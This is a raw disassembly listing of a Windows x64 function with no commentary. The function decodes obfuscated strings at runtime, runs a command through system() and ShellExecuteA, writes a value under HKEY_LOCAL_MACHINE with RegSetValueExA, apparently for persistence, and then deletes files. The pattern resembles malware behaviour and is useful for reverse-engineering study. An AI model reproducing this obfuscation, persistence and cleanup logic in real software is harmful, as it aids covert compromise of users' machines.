mov word [rbp + 0x29a], 0xf3
mov byte [rbp + 0x29c], 1
lea rcx, [rbp + 0x26e]
call fcn.140082b40
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x848]
call fcn.14005b300
nop
lea rax, [rbp + 0x26e]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400919d0
lea rdx, [rbp + 0x26e]
lea rcx, [rbp + 0x848]
call fcn.14005b320
nop
lea r8, [rbp + 0x788]
lea rdx, [rbp + 0x848]
lea rcx, [0x1401d0dc0]
call fcn.14008aa60
test al, al
je 0x140091df5
movdqa xmm0, xmmword [0x1400e7460]
movdqu xmmword [rbp + 0x433], xmm0
movdqa xmm1, xmmword [0x1400e73b0]
movdqu xmmword [rbp + 0x443], xmm1
movdqa xmm0, xmmword [0x1400e7470]
movdqu xmmword [rbp + 0x453], xmm0
movdqa xmm1, xmmword [0x1400e6fa0]
movdqu xmmword [rbp + 0x463], xmm1
movdqa xmm0, xmmword [0x1400e7120]
movdqu xmmword [rbp + 0x473], xmm0
mov dword [rbp + 0x483], 0x2c311534
mov dword [rbp + 0x487], 0x101b3214
mov dword [rbp + 0x48b], 0x1e154b08
mov dword [rbp + 0x48f], 0x1004b1b
lea rcx, [rbp + 0x433]
call fcn.140092090
movzx edx, byte [rbp + 0x9f0]
lea rcx, [rbp + 0x828]
call fcn.14005b300
nop
lea rax, [rbp + 0x433]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140091ab2
lea rdx, [rbp + 0x433]
lea rcx, [rbp + 0x828]
call fcn.14005b320
nop
lea rcx, [rbp + 0x828]
call fcn.1400566e0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140091b58
mov dword [rsp + 0x60], 0x3a363813
mov word [rsp + 0x64], 0x35
mov byte [rsp + 0x66], 1
lea rcx, [rsp + 0x60]
call fcn.1400552e0
movdqa xmm0, xmmword [0x1400e7010]
movdqu xmmword [rbp + 0x5d2], xmm0
movdqa xmm1, xmmword [0x1400e6bc0]
movdqu xmmword [rbp + 0x5e2], xmm1
mov dword [rbp + 0x5f2], 0x100171f
lea rcx, [rbp + 0x5d2]
call fcn.140055470
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x5d2]
lea rcx, [0x1401d0dc0]
call fcn.140088500
movdqa xmm0, xmmword [0x1400e7140]
movdqu xmmword [rbp + 0x493], xmm0
movdqa xmm1, xmmword [0x1400e73a0]
movdqu xmmword [rbp + 0x4a3], xmm1
movdqa xmm0, xmmword [0x1400e7400]
movdqu xmmword [rbp + 0x4b3], xmm0
movdqa xmm1, xmmword [0x1400e7130]
movdqu xmmword [rbp + 0x4c3], xmm1
mov dword [rbp + 0x4d3], 0x2a1d2129
mov dword [rbp + 0x4d7], 0x7d222424
mov dword [rbp + 0x4db], 0x222d20
mov byte [rbp + 0x4df], 1
lea rcx, [rbp + 0x493]
call fcn.140092060
mov dword [rsp + 0x70], 0x7d363c33
mov dword [rsp + 0x74], 0x332d31
mov byte [rsp + 0x78], 1
lea rcx, [rsp + 0x70]
call fcn.140055530
movzx eax, byte [str.open]
xor al, 0x50
mov byte [rsp + 0x5a], al
movzx eax, byte [reloc.WS2_32.dll_WSASetLastError]
xor al, 0x51
mov byte [rsp + 0x5b], al
movzx eax, byte [0x1400e05b6]
xor al, 0x52
mov byte [rsp + 0x5c], al
movzx eax, byte [0x1400e05b7]
xor al, 0x53
mov byte [rsp + 0x5d], al
mov word [rsp + 0x5e], pe_nt_image_headers64
lea rcx, [rsp + 0x5a]
call fcn.1400555c0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x493]
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x5a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movdqa xmm0, xmmword [0x1400e6dc0]
movdqu xmmword [rbp + 0x761], xmm0
movdqa xmm1, xmmword [0x1400e6bb0]
movdqu xmmword [rbp + 0x771], xmm1
mov byte [rbp + 0x781], 1
lea rcx, [rbp + 0x761]
call fcn.14008b7a0
mov dword [rbp - 0x36], 0x3b31301d
mov dword [rbp - 0x32], 0x10333b3d
mov dword [rbp - 0x2e], 0x3e302d
mov byte [rbp - 0x2a], 1
lea rcx, [rbp - 0x36]
call fcn.1400552b0
call fcn.1400900e0
mov rdi, rax
lea rax, [rbp + 0x360]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp + 0x761]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140091cd5
inc ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x36]
mov rcx, qword [rbp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140091d14
mov rcx, qword [rbp + 0x360]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rbp + 0x32b], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rbp + 0x33b], xmm1
mov dword [rbp + 0x34b], 0x183e1d17
mov dword [rbp + 0x34f], 0x2290d0b
mov dword [rbp + 0x353], 0x71b530f
mov word [rbp + 0x357], 0xe5
mov byte [rbp + 0x359], 1
lea rcx, [rbp + 0x32b]
call fcn.140082b40
lea rcx, [rbp + 0x32b]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400e7150]
movdqu xmmword [rbp + 0x2fb], xmm0
movdqa xmm1, xmmword [0x1400e6f20]
movdqu xmmword [rbp + 0x30b], xmm1
mov dword [rbp + 0x31b], 0x1c3a1913
mov dword [rbp + 0x31f], 0xe250107
mov dword [rbp + 0x323], 0x854150b
mov dword [rbp + 0x327], 0x1000e05
lea rcx, [rbp + 0x2fb]
call fcn.140055430
lea rcx, [rbp + 0x2fb]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x828]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x960]
call fcn.1400588c0
nop
lea rcx, [rbp + 0x980]
call fcn.1400588c0
add rsp, 0xaa8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret